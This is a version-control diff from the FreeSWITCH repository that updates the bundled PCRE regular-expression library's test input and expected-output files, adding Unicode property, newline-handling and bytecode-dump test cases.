 /^\p{Lm}/8
     \x{2b0}
@@ -323,20 +323,20 @@
     ** Failers
     WXYZ 
 
-/[\p{L}]/D
+/[\p{L}]/DZ
 
-/[\p{^L}]/D
+/[\p{^L}]/DZ
 
-/[\P{L}]/D
+/[\P{L}]/DZ
 
-/[\P{^L}]/D
+/[\P{^L}]/DZ
 
-/[abc\p{L}\x{0660}]/8D
+/[abc\p{L}\x{0660}]/8DZ
 
-/[\p{Nd}]/8DM
+/[\p{Nd}]/8DZ
     1234
 
-/[\p{Nd}+-]+/8DM
+/[\p{Nd}+-]+/8DZ
     1234
     12-34
     12+\x{661}-34  
@@ -425,13 +425,13 @@
     A\x{391}\x{10427}\x{ff5a}\x{1fb0}
     A\x{391}\x{10427}\x{ff3a}\x{1fb8}
 
-/A\x{391}\x{10427}\x{ff3a}\x{1fb0}/8iD
+/A\x{391}\x{10427}\x{ff3a}\x{1fb0}/8iDZ
 
-/A\x{391}\x{10427}\x{ff3a}\x{1fb0}/8D
+/A\x{391}\x{10427}\x{ff3a}\x{1fb0}/8DZ
 
-/AB\x{1fb0}/8D
+/AB\x{1fb0}/8DZ
 
-/AB\x{1fb0}/8Di
+/AB\x{1fb0}/8DZi
 
 /\x{391}+/8i
     \x{391}\x{3b1}\x{3b1}\x{3b1}\x{391}
@@ -452,7 +452,7 @@
     \x{c0}
     \x{e0} 
 
-/[\x{105}-\x{109}]/8iD
+/[\x{105}-\x{109}]/8iDZ
     \x{104}
     \x{105}
     \x{109}  
@@ -460,7 +460,7 @@
     \x{100}
     \x{10a} 
     
-/[z-\x{100}]/8iD 
+/[z-\x{100}]/8iDZ 
     Z
     z
     \x{39c}
@@ -475,7 +475,7 @@
     Y
     y           
 
-/[z-\x{100}]/8Di
+/[z-\x{100}]/8DZi
 
 /^\X/8
     A
@@ -747,4 +747,208 @@
 /([\pL]=(abc))*X/
     L=abcX
 
+/The next two should be Perl-compatible, but it fails to match \x{e0}. PCRE
+will match it only with UCP support, because without that it has no notion
+of case for anything other than the ASCII letters. / 
+
+/((?i)[\x{c0}])/8
+    \x{c0}
+    \x{e0} 
+
+/(?i:[\x{c0}])/8
+    \x{c0}
+    \x{e0} 
+    
+/^\p{Balinese}\p{Cuneiform}\p{Nko}\p{Phags_Pa}\p{Phoenician}/8
+    \x{1b00}\x{12000}\x{7c0}\x{a840}\x{10900}
+
+/The next two are special cases where the lengths of the different cases of the 
+same character differ. The first went wrong with heap frame storage; the 2nd
+was broken in all cases./
+
+/^\x{023a}+?(\x{0130}+)/8i
+  \x{023a}\x{2c65}\x{0130}
+  
+/^\x{023a}+([^X])/8i
+  \x{023a}\x{2c65}X
+
+/Check property support in non-UTF-8 mode/
+ 
+/\p{L}{4}/
+    123abcdefg
+    123abc\xc4\xc5zz
+
+/\X{1,3}\d/
+  \x8aBCD
+  
+/\X?\d/
+  \x8aBCD 
+
+/\P{L}?\d/
+  \x8aBCD 
+
+/[\PPP\x8a]{1,}\x80/
+    A\x80
+
+/(?:[\PPa*]*){8,}/
+
+/[\P{Any}]/BZ
+
+/[\P{Any}\E]/BZ
+
+/(\P{Yi}+\277)/
+
+/(\P{Yi}+\277)?/
+
+/(?<=\P{Yi}{3}A)X/
+
+/\p{Yi}+(\P{Yi}+)(?1)/
+
+/(\P{Yi}{2}\277)?/
+
+/[\P{Yi}A]/
+
+/[\P{Yi}\P{Yi}\P{Yi}A]/
+
+/[^\P{Yi}A]/
+
+/[^\P{Yi}\P{Yi}\P{Yi}A]/
+
+/(\P{Yi}*\277)*/
+
+/(\P{Yi}*?\277)*/
+
+/(\p{Yi}*+\277)*/
+
+/(\P{Yi}?\277)*/
+
+/(\P{Yi}??\277)*/
+
+/(\p{Yi}?+\277)*/
+
+/(\P{Yi}{0,3}\277)*/
+
+/(\P{Yi}{0,3}?\277)*/
+
+/(\p{Yi}{0,3}+\277)*/
+
+/^[\p{Arabic}]/8
+    \x{60e} 
+    \x{656} 
+    \x{657} 
+    \x{658} 
+    \x{659} 
+    \x{65a} 
+    \x{65b} 
+    \x{65c} 
+    \x{65d} 
+    \x{65e} 
+    \x{66a} 
+    \x{6e9} 
+    \x{6ef}
+    \x{6fa}  
+    ** Failers
+    \x{600}
+    \x{650}
+    \x{651}  
+    \x{652}  
+    \x{653}  
+    \x{654} 
+    \x{655} 
+    \x{65f}  
+    
+/^\p{Cyrillic}/8
+    \x{1d2b} 
+    
+/^\p{Common}/8
+    \x{589}
+    \x{60c}
+    \x{61f}  
+    \x{964}
+    \x{965}  
+    \x{970}  
+
+/^\p{Inherited}/8
+    \x{64b}
+    \x{654}
+    \x{655}
+    \x{200c} 
+    ** Failers
+    \x{64a}
+    \x{656}     
+
+/^\p{Shavian}/8
+    \x{10450}
+    \x{1047f}
+    
+/^\p{Deseret}/8
+    \x{10400}
+    \x{1044f}
+    
+/^\p{Osmanya}/8
+    \x{10480}
+    \x{1049d}
+    \x{104a0}
+    \x{104a9}
+    ** Failers
+    \x{1049e}
+    \x{1049f}
+    \x{104aa}           
+
+/\p{Zl}{2,3}+/8BZ
+    \xe2\x80\xa8\xe2\x80\xa8
+    \x{2028}\x{2028}\x{2028}
+    
+/\p{Zl}/8BZ
+
+/\p{Lu}{3}+/8BZ
+
+/\pL{2}+/8BZ
+
+/\p{Cc}{2}+/8BZ
+
+/\x{c0}+\x{116}+/8i
+    \x{c0}\x{e0}\x{116}\x{117}
+
+/[\x{c0}\x{116}]+/8i
+    \x{c0}\x{e0}\x{116}\x{117}
+
+/\p{Carian}\p{Cham}\p{Kayah_Li}\p{Lepcha}\p{Lycian}\p{Lydian}\p{Ol_Chiki}\p{Rejang}\p{Saurashtra}\p{Sundanese}\p{Vai}/8
+    \x{102A4}\x{AA52}\x{A91D}\x{1C46}\x{10283}\x{1092E}\x{1C6B}\x{A93B}\x{A8BF}\x{1BA0}\x{A50A}====
+
+/\x{a77d}\x{1d79}/8i
+    \x{a77d}\x{1d79}
+    \x{1d79}\x{a77d} 
+
+/\x{a77d}\x{1d79}/8
+    \x{a77d}\x{1d79}
+    ** Failers 
+    \x{1d79}\x{a77d} 
+
+/(A)\1/8i
+    AA
+    Aa
+    aa
+    aA
+
+/(\x{de})\1/8i
+    \x{de}\x{de}
+    \x{de}\x{fe}
+    \x{fe}\x{fe}
+    \x{fe}\x{de}
+
+/(\x{10a})\1/8i
+    \x{10a}\x{10a}
+    \x{10a}\x{10b}
+    \x{10b}\x{10b}
+    \x{10b}\x{10a}
+    
+/The next two tests are for property support in non-UTF-8 mode/
+
+/(?:\p{Lu}|\x20)+/
+    \x41\x20\x50\xC2\x54\xC9\x20\x54\x4F\x44\x41\x59
+
+/[\p{Lu}\x20]+/
+    \x41\x20\x50\xC2\x54\xC9\x20\x54\x4F\x44\x41\x59
+
 / End of testinput6 /

Modified: freeswitch/branches/seven/libs/pcre/testdata/testinput7 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testinput7	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testinput7	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1775,8 +1775,7 @@
     abc
 
 /^a	b
-  
-    c/x
+      c/x
     abc
 
 /ab{1,3}bc/
@@ -1889,7 +1888,7 @@
 /{4,5a}bc/
     {4,5a}bc
 
-/^a.b/
+/^a.b/<lf>
     a\rb
     *** Failers
     a\nb
@@ -1932,8 +1931,8 @@
 /(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)\12\123/
     abcdefghijk\12S
 
-/ab\gdef/
-    abgdef
+/ab\idef/
+    abidef
 
 /a{0}bc/
     bc
@@ -2734,8 +2733,6 @@
     abc
     abq
 
-/ab{1,}bc/
-
 /ab+bc/
     abbbbc
 
@@ -4067,7 +4064,7 @@
     xyz\rabc\<crlf>
     xyz\rabc\<lf>
     
-/abc$/m
+/abc$/m<lf>
     xyzabc
     xyzabc\n 
     xyzabc\npqr 
@@ -4099,7 +4096,7 @@
     ** Failers  
     xyz\rabcdef
     
-/.*/
+/.*/<lf>
     abc\ndef
     abc\rdef
     abc\r\ndef
@@ -4115,4 +4112,313 @@
     abc\rdef
     abc\r\ndef
 
+/^\w+=.*(\\\n.*)*/
+    abc=xyz\\\npqr
+
+/^(a()*)*/
+    aaaa
+
+/^(?:a(?:(?:))*)*/
+    aaaa
+
+/^(a()+)+/
+    aaaa
+
+/^(?:a(?:(?:))+)+/
+    aaaa
+
+/(a|)*\d/
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+
+/(?>a|)*\d/
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+
+/(?:a|)*\d/
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+
+/^a.b/<lf>
+    a\rb
+    a\nb\<cr> 
+    ** Failers
+    a\nb
+    a\nb\<any>
+    a\rb\<cr>   
+    a\rb\<any>   
+
+/^abc./mgx<any>
+    abc1 \x0aabc2 \x0babc3xx \x0cabc4 \x0dabc5xx \x0d\x0aabc6 \x85abc7 JUNK
+
+/abc.$/mgx<any>
+    abc1\x0a abc2\x0b abc3\x0c abc4\x0d abc5\x0d\x0a abc6\x85 abc9
+
+/^a\Rb/<bsr_unicode>
+    a\nb
+    a\rb
+    a\r\nb
+    a\x0bb
+    a\x0cb
+    a\x85b   
+    ** Failers
+    a\n\rb    
+
+/^a\R*b/<bsr_unicode>
+    ab
+    a\nb
+    a\rb
+    a\r\nb
+    a\x0bb
+    a\x0cb
+    a\x85b   
+    a\n\rb    
+    a\n\r\x85\x0cb 
+
+/^a\R+b/<bsr_unicode>
+    a\nb
+    a\rb
+    a\r\nb
+    a\x0bb
+    a\x0cb
+    a\x85b   
+    a\n\rb    
+    a\n\r\x85\x0cb 
+    ** Failers
+    ab  
+    
+/^a\R{1,3}b/<bsr_unicode>
+    a\nb
+    a\n\rb
+    a\n\r\x85b
+    a\r\n\r\nb 
+    a\r\n\r\n\r\nb 
+    a\n\r\n\rb
+    a\n\n\r\nb 
+    ** Failers
+    a\n\n\n\rb
+    a\r
+
+/^a[\R]b/<bsr_unicode>
+    aRb
+    ** Failers
+    a\nb  
+
+/.+foo/
+    afoo
+    ** Failers 
+    \r\nfoo 
+    \nfoo 
+
+/.+foo/<crlf>
+    afoo
+    \nfoo 
+    ** Failers 
+    \r\nfoo 
+
+/.+foo/<any>
+    afoo
+    ** Failers 
+    \nfoo 
+    \r\nfoo 
+
+/.+foo/s
+    afoo
+    \r\nfoo 
+    \nfoo 
+
+/^$/mg<any>
+    abc\r\rxyz
+    abc\n\rxyz  
+    ** Failers 
+    abc\r\nxyz
+
+/^X/m
+    XABC
+    ** Failers 
+    XABC\B
+
+/(?m)^$/<any>g+
+    abc\r\n\r\n
+
+/(?m)^$|^\r\n/<any>g+ 
+    abc\r\n\r\n
+    
+/(?m)$/<any>g+ 
+    abc\r\n\r\n
+
+/(?|(abc)|(xyz))/
+   >abc<
+   >xyz< 
+
+/(x)(?|(abc)|(xyz))(x)/
+    xabcx
+    xxyzx 
+
+/(x)(?|(abc)(pqr)|(xyz))(x)/
+    xabcpqrx
+    xxyzx 
+
+/(?|(abc)|(xyz))(?1)/
+    abcabc
+    xyzabc 
+    ** Failers 
+    xyzxyz 
+ 
+/\H\h\V\v/
+    X X\x0a
+    X\x09X\x0b
+    ** Failers
+    \xa0 X\x0a   
+    
+/\H*\h+\V?\v{3,4}/ 
+    \x09\x20\xa0X\x0a\x0b\x0c\x0d\x0a
+    \x09\x20\xa0\x0a\x0b\x0c\x0d\x0a
+    \x09\x20\xa0\x0a\x0b\x0c
+    ** Failers 
+    \x09\x20\xa0\x0a\x0b
+     
+/\H{3,4}/
+    XY  ABCDE
+    XY  PQR ST 
+    
+/.\h{3,4}./
+    XY  AB    PQRS
+
+/\h*X\h?\H+Y\H?Z/
+    >XNNNYZ
+    >  X NYQZ
+    ** Failers
+    >XYZ   
+    >  X NY Z
+
+/\v*X\v?Y\v+Z\V*\x0a\V+\x0b\V{2,3}\x0c/
+    >XY\x0aZ\x0aA\x0bNN\x0c
+    >\x0a\x0dX\x0aY\x0a\x0bZZZ\x0aAAA\x0bNNN\x0c
+
+/.+A/<crlf>
+    \r\nA
+    
+/\nA/<crlf>
+    \r\nA 
+
+/[\r\n]A/<crlf>
+    \r\nA 
+
+/(\r|\n)A/<crlf>
+    \r\nA 
+
+/a\Rb/I<bsr_anycrlf>
+    a\rb
+    a\nb
+    a\r\nb
+    ** Failers
+    a\x85b
+    a\x0bb     
+
+/a\Rb/I<bsr_unicode>
+    a\rb
+    a\nb
+    a\r\nb
+    a\x85b
+    a\x0bb     
+    ** Failers 
+    a\x85b\<bsr_anycrlf>
+    a\x0bb\<bsr_anycrlf>
+    
+/a\R?b/I<bsr_anycrlf>
+    a\rb
+    a\nb
+    a\r\nb
+    ** Failers
+    a\x85b
+    a\x0bb     
+
+/a\R?b/I<bsr_unicode>
+    a\rb
+    a\nb
+    a\r\nb
+    a\x85b
+    a\x0bb     
+    ** Failers 
+    a\x85b\<bsr_anycrlf>
+    a\x0bb\<bsr_anycrlf>
+    
+/a\R{2,4}b/I<bsr_anycrlf>
+    a\r\n\nb
+    a\n\r\rb
+    a\r\n\r\n\r\n\r\nb
+    ** Failers
+    a\x85\85b
+    a\x0b\0bb     
+
+/a\R{2,4}b/I<bsr_unicode>
+    a\r\rb
+    a\n\n\nb
+    a\r\n\n\r\rb
+    a\x85\85b
+    a\x0b\0bb     
+    ** Failers 
+    a\r\r\r\r\rb 
+    a\x85\85b\<bsr_anycrlf>
+    a\x0b\0bb\<bsr_anycrlf>
+    
+/a(?!)|\wbc/
+    abc 
+
+/a[]b/<JS>
+    ** Failers
+    ab
+
+/a[]+b/<JS>
+    ** Failers
+    ab 
+
+/a[]*+b/<JS>
+    ** Failers
+    ab 
+
+/a[^]b/<JS>
+    aXb
+    a\nb 
+    ** Failers
+    ab  
+    
+/a[^]+b/<JS> 
+    aXb
+    a\nX\nXb 
+    ** Failers
+    ab  
+
+/X$/E
+    X
+    ** Failers 
+    X\n 
+
+/X$/
+    X
+    X\n 
+
+/xyz/C
+  xyz 
+  abcxyz 
+  abcxyz\Y
+  ** Failers 
+  abc
+  abc\Y
+  abcxypqr  
+  abcxypqr\Y  
+  
+/(?C)ab/
+  ab
+  \C-ab
+  
+/ab/C
+  ab
+  \C-ab    
+
+/^"((?(?=[a])[^"])|b)*"$/C
+    "ab"
+    \C-"ab"
+
 / End of testinput7 /

Modified: freeswitch/branches/seven/libs/pcre/testdata/testinput8 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testinput8	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testinput8	2009-08-09 18:53:22 UTC (rev 14472)
@@ -537,4 +537,134 @@
 /^\x{85}$/8i
     \x{85}
 
+/^abc./mgx8<any>
+    abc1 \x0aabc2 \x0babc3xx \x0cabc4 \x0dabc5xx \x0d\x0aabc6 \x{0085}abc7 \x{2028}abc8 \x{2029}abc9 JUNK
+
+/abc.$/mgx8<any>
+    abc1\x0a abc2\x0b abc3\x0c abc4\x0d abc5\x0d\x0a abc6\x{0085} abc7\x{2028} abc8\x{2029} abc9
+
+/^a\Rb/8<bsr_unicode>
+    a\nb
+    a\rb
+    a\r\nb
+    a\x0bb
+    a\x0cb
+    a\x{85}b   
+    a\x{2028}b 
+    a\x{2029}b 
+    ** Failers
+    a\n\rb    
+
+/^a\R*b/8<bsr_unicode>
+    ab
+    a\nb
+    a\rb
+    a\r\nb
+    a\x0bb
+    a\x0c\x{2028}\x{2029}b
+    a\x{85}b   
+    a\n\rb    
+    a\n\r\x{85}\x0cb 
+
+/^a\R+b/8<bsr_unicode>
+    a\nb
+    a\rb
+    a\r\nb
+    a\x0bb
+    a\x0c\x{2028}\x{2029}b
+    a\x{85}b   
+    a\n\rb    
+    a\n\r\x{85}\x0cb 
+    ** Failers
+    ab  
+
+/^a\R{1,3}b/8<bsr_unicode>
+    a\nb
+    a\n\rb
+    a\n\r\x{85}b
+    a\r\n\r\nb 
+    a\r\n\r\n\r\nb 
+    a\n\r\n\rb
+    a\n\n\r\nb 
+    ** Failers
+    a\n\n\n\rb
+    a\r
+
+/\h+\V?\v{3,4}/8 
+    \x09\x20\x{a0}X\x0a\x0b\x0c\x0d\x0a
+
+/\V?\v{3,4}/8 
+    \x20\x{a0}X\x0a\x0b\x0c\x0d\x0a
+
+/\h+\V?\v{3,4}/8
+    >\x09\x20\x{a0}X\x0a\x0a\x0a<
+
+/\V?\v{3,4}/8
+    >\x09\x20\x{a0}X\x0a\x0a\x0a<
+
+/\H\h\V\v/8
+    X X\x0a
+    X\x09X\x0b
+    ** Failers
+    \x{a0} X\x0a   
+    
+/\H*\h+\V?\v{3,4}/8 
+    \x09\x20\x{a0}X\x0a\x0b\x0c\x0d\x0a
+    \x09\x20\x{a0}\x0a\x0b\x0c\x0d\x0a
+    \x09\x20\x{a0}\x0a\x0b\x0c
+    ** Failers 
+    \x09\x20\x{a0}\x0a\x0b
+     
+/\H\h\V\v/8
+    \x{3001}\x{3000}\x{2030}\x{2028}
+    X\x{180e}X\x{85}
+    ** Failers
+    \x{2009} X\x0a   
+    
+/\H*\h+\V?\v{3,4}/8 
+    \x{1680}\x{180e}\x{2007}X\x{2028}\x{2029}\x0c\x0d\x0a
+    \x09\x{205f}\x{a0}\x0a\x{2029}\x0c\x{2028}\x0a
+    \x09\x20\x{202f}\x0a\x0b\x0c
+    ** Failers 
+    \x09\x{200a}\x{a0}\x{2028}\x0b
+     
+/a\Rb/I8<bsr_anycrlf>
+    a\rb
+    a\nb
+    a\r\nb
+    ** Failers
+    a\x{85}b
+    a\x0bb     
+
+/a\Rb/I8<bsr_unicode>
+    a\rb
+    a\nb
+    a\r\nb
+    a\x{85}b
+    a\x0bb     
+    ** Failers 
+    a\x{85}b\<bsr_anycrlf>
+    a\x0bb\<bsr_anycrlf>
+    
+/a\R?b/I8<bsr_anycrlf>
+    a\rb
+    a\nb
+    a\r\nb
+    ** Failers
+    a\x{85}b
+    a\x0bb     
+
+/a\R?b/I8<bsr_unicode>
+    a\rb
+    a\nb
+    a\r\nb
+    a\x{85}b
+    a\x0bb     
+    ** Failers 
+    a\x{85}b\<bsr_anycrlf>
+    a\x0bb\<bsr_anycrlf>
+ 
+/X/8f<any> 
+    A\x{1ec5}ABCXYZ
+
 / End of testinput 8 / 

Modified: freeswitch/branches/seven/libs/pcre/testdata/testinput9 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testinput9	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testinput9	2009-08-09 18:53:22 UTC (rev 14472)
@@ -148,7 +148,7 @@
     \x{09f} 
   
 /^\p{Cs}/8
-    \x{dfff}
+    \?\x{dfff}
     ** Failers
     \x{09f} 
   
@@ -156,7 +156,7 @@
     a
     ** Failers 
     Z
-    \x{dfff}  
+    \x{e000}  
   
 /^\p{Lm}/8
     \x{2b0}
@@ -813,4 +813,34 @@
      \x{1c5}XY
      AXY      
 
+/^\x{023a}+?(\x{0130}+)/8i
+  \x{023a}\x{2c65}\x{0130}
+  
+/^\x{023a}+([^X])/8i
+  \x{023a}\x{2c65}X
+ 
+/\x{c0}+\x{116}+/8i
+    \x{c0}\x{e0}\x{116}\x{117}
+
+/[\x{c0}\x{116}]+/8i
+    \x{c0}\x{e0}\x{116}\x{117}
+
+/Check property support in non-UTF-8 mode/
+ 
+/\p{L}{4}/
+    123abcdefg
+    123abc\xc4\xc5zz
+
+/\p{Carian}\p{Cham}\p{Kayah_Li}\p{Lepcha}\p{Lycian}\p{Lydian}\p{Ol_Chiki}\p{Rejang}\p{Saurashtra}\p{Sundanese}\p{Vai}/8
+    \x{102A4}\x{AA52}\x{A91D}\x{1C46}\x{10283}\x{1092E}\x{1C6B}\x{A93B}\x{A8BF}\x{1BA0}\x{A50A}====
+
+/\x{a77d}\x{1d79}/8i
+    \x{a77d}\x{1d79}
+    \x{1d79}\x{a77d} 
+
+/\x{a77d}\x{1d79}/8
+    \x{a77d}\x{1d79}
+    ** Failers 
+    \x{1d79}\x{a77d} 
+
 / End / 

Modified: freeswitch/branches/seven/libs/pcre/testdata/testoutput1 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testoutput1	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testoutput1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1817,8 +1817,7 @@
 No match
 
 /^a	b
-  
-    c/x
+      c/x
     abc
  0: abc
 
@@ -2094,14 +2093,6 @@
     {4,5a}bc
  0: {4,5a}bc
 
-/^a.b/
-    a\rb
- 0: a\x0db
-    *** Failers
-No match
-    a\nb
-No match
-
 /abc$/
     abc
  0: abc
@@ -2198,9 +2189,9 @@
 10: j
 11: k
 
-/ab\gdef/
-    abgdef
- 0: abgdef
+/ab\idef/
+    abidef
+ 0: abidef
 
 /a{0}bc/
     bc
@@ -5481,12 +5472,22 @@
  0: b
 
 /^(?:a?b?)*$/
+    \
+ 0: 
+    a
+ 0: a
+    ab
+ 0: ab
+    aaa   
+ 0: aaa
     *** Failers
 No match
     dbcb
 No match
     a--
 No match
+    aa-- 
+No match
 
 /((?s)^a(.))((?m)^b$)/
     a\nb\nc\n
@@ -5550,12 +5551,6 @@
  0: b
  1: b
 
-/(?(1)a|b)/
-
-/(?(1)b|a)/
-    a
- 0: a
-
 /(x)?(?(1)a|b)/
     *** Failers
 No match
@@ -6354,4 +6349,301 @@
     [a,b,c]  
  0: [a,b,c]
 
+/(?-x: )/x
+    A\x20B
+ 0:  
+    
+"(?x)(?-x: \s*#\s*)"
+    A # B
+ 0:  # 
+    ** Failers
+No match
+    #  
+No match
+
+"(?x-is)(?:(?-ixs) \s*#\s*) include"
+    A #include
+ 0:  #include
+    ** Failers
+No match
+    A#include  
+No match
+    A #Include
+No match
+
+/a*b*\w/
+    aaabbbb
+ 0: aaabbbb
+    aaaa
+ 0: aaaa
+    a
+ 0: a
+
+/a*b?\w/
+    aaabbbb
+ 0: aaabb
+    aaaa
+ 0: aaaa
+    a
+ 0: a
+
+/a*b{0,4}\w/
+    aaabbbb
+ 0: aaabbbb
+    aaaa
+ 0: aaaa
+    a
+ 0: a
+
+/a*b{0,}\w/
+    aaabbbb
+ 0: aaabbbb
+    aaaa
+ 0: aaaa
+    a
+ 0: a
+    
+/a*\d*\w/
+    0a
+ 0: 0a
+    a 
+ 0: a
+    
+/a*b *\w/x
+    a 
+ 0: a
+
+/a*b#comment
+  *\w/x
+    a 
+ 0: a
+
+/a* b *\w/x
+    a 
+ 0: a
+
+/^\w+=.*(\\\n.*)*/
+    abc=xyz\\\npqr
+ 0: abc=xyz\
+
+/(?=(\w+))\1:/
+    abcd:
+ 0: abcd:
+ 1: abcd
+
+/^(?=(\w+))\1:/
+    abcd:
+ 0: abcd:
+ 1: abcd
+
+/^\Eabc/
+    abc
+ 0: abc
+    
+/^[\Eabc]/
+    a
+ 0: a
+    ** Failers 
+No match
+    E 
+No match
+    
+/^[a-\Ec]/
+    b
+ 0: b
+    ** Failers
+No match
+    -
+No match
+    E    
+No match
+
+/^[a\E\E-\Ec]/
+    b
+ 0: b
+    ** Failers
+No match
+    -
+No match
+    E    
+No match
+
+/^[\E\Qa\E-\Qz\E]+/
+    b
+ 0: b
+    ** Failers
+No match
+    -  
+No match
+    
+/^[a\Q]bc\E]/
+    a
+ 0: a
+    ]
+ 0: ]
+    c
+ 0: c
+    
+/^[a-\Q\E]/
+    a
+ 0: a
+    -     
+ 0: -
+
+/^(a()*)*/
+    aaaa
+ 0: aaaa
+ 1: a
+ 2: 
+
+/^(?:a(?:(?:))*)*/
+    aaaa
+ 0: aaaa
+
+/^(a()+)+/
+    aaaa
+ 0: aaaa
+ 1: a
+ 2: 
+
+/^(?:a(?:(?:))+)+/
+    aaaa
+ 0: aaaa
+
+/(a){0,3}(?(1)b|(c|))*D/
+    abbD
+ 0: abbD
+ 1: a
+    ccccD
+ 0: ccccD
+ 1: <unset>
+ 2: 
+    D  
+ 0: D
+ 1: <unset>
+ 2: 
+
+/(a|)*\d/
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+No match
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+ 0: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+ 1: 
+
+/(?>a|)*\d/
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+No match
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+ 0: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+
+/(?:a|)*\d/
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+No match
+  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+ 0: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+
+/\Z/g
+  abc\n
+ 0: 
+ 0: 
+  
+/^(?s)(?>.*)(?<!\n)/
+  abc
+ 0: abc
+  abc\n  
+No match
+
+/^(?![^\n]*\n\z)/
+  abc
+ 0: 
+  abc\n 
+No match
+  
+/\z(?<!\n)/
+  abc
+ 0: 
+  abc\n  
+No match
+
+/(.*(.)?)*/
+    abcd
+ 0: abcd
+ 1: 
+
+/( (A | (?(1)0|) )*   )/x
+    abcd
+ 0: 
+ 1: 
+ 2: 
+
+/( ( (?(1)0|) )*   )/x
+    abcd
+ 0: 
+ 1: 
+ 2: 
+
+/(  (?(1)0|)*   )/x
+    abcd
+ 0: 
+ 1: 
+
+/[[:abcd:xyz]]/
+    a]
+ 0: a]
+    :] 
+ 0: :]
+    
+/[abc[:x\]pqr]/
+    a
+ 0: a
+    [
+ 0: [
+    :
+ 0: :
+    ]
+ 0: ]
+    p    
+ 0: p
+
+/.*[op][xyz]/
+    fooabcfoo
+No match
+
+/(?(?=.*b)b|^)/
+   adc
+ 0: 
+   abc 
+ 0: b
+
+/(?(?=^.*b)b|^)/
+   adc
+ 0: 
+   abc 
+No match
+
+/(?(?=.*b)b|^)*/
+   adc
+ 0: 
+   abc 
+ 0: 
+
+/(?(?=.*b)b|^)+/
+   adc
+ 0: 
+   abc 
+ 0: b
+
+/(?(?=b).*b|^d)/
+    abc
+ 0: b
+
+/(?(?=.*b).*b|^d)/
+    abc
+ 0: ab
+
+/^%((?(?=[a])[^%])|b)*%$/
+    %ab%
+ 0: %ab%
+ 1: 
+
 / End of testinput1 /

Copied: freeswitch/branches/seven/libs/pcre/testdata/testoutput10 (from rev 14471, freeswitch/trunk/libs/pcre/testdata/testoutput10) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testoutput10	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/testdata/testoutput10	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,669 @@
+/-- These are a few representative patterns whose lengths and offsets are to be 
+shown when the link size is 2. This is just a doublecheck test to ensure the 
+sizes don't go horribly wrong when something is changed. The pattern contents 
+are all themselves checked in other tests. --/
+
+/((?i)b)/BM
+Memory allocation (code space): 21
+------------------------------------------------------------------
+  0  17 Bra
+  3   9 CBra 1
+  8  01 Opt
+ 10  NC b
+ 12   9 Ket
+ 15  00 Opt
+ 17  17 Ket
+ 20     End
+------------------------------------------------------------------
+
+/(?s)(.*X|^B)/BM
+Memory allocation (code space): 25
+------------------------------------------------------------------
+  0  21 Bra
+  3   9 CBra 1
+  8     AllAny*
+ 10     X
+ 12   6 Alt
+ 15     ^
+ 16     B
+ 18  15 Ket
+ 21  21 Ket
+ 24     End
+------------------------------------------------------------------
+
+/(?s:.*X|^B)/BM
+Memory allocation (code space): 29
+------------------------------------------------------------------
+  0  25 Bra
+  3   9 Bra
+  6  04 Opt
+  8     AllAny*
+ 10     X
+ 12   8 Alt
+ 15  04 Opt
+ 17     ^
+ 18     B
+ 20  17 Ket
+ 23  00 Opt
+ 25  25 Ket
+ 28     End
+------------------------------------------------------------------
+
+/^[[:alnum:]]/BM
+Memory allocation (code space): 41
+------------------------------------------------------------------
+  0  37 Bra
+  3     ^
+  4     [0-9A-Za-z]
+ 37  37 Ket
+ 40     End
+------------------------------------------------------------------
+
+/#/IxMD
+Memory allocation (code space): 7
+------------------------------------------------------------------
+  0   3 Bra
+  3   3 Ket
+  6     End
+------------------------------------------------------------------
+Capturing subpattern count = 0
+Options: extended
+No first char
+No need char
+
+/a#/IxMD
+Memory allocation (code space): 9
+------------------------------------------------------------------
+  0   5 Bra
+  3     a
+  5   5 Ket
+  8     End
+------------------------------------------------------------------
+Capturing subpattern count = 0
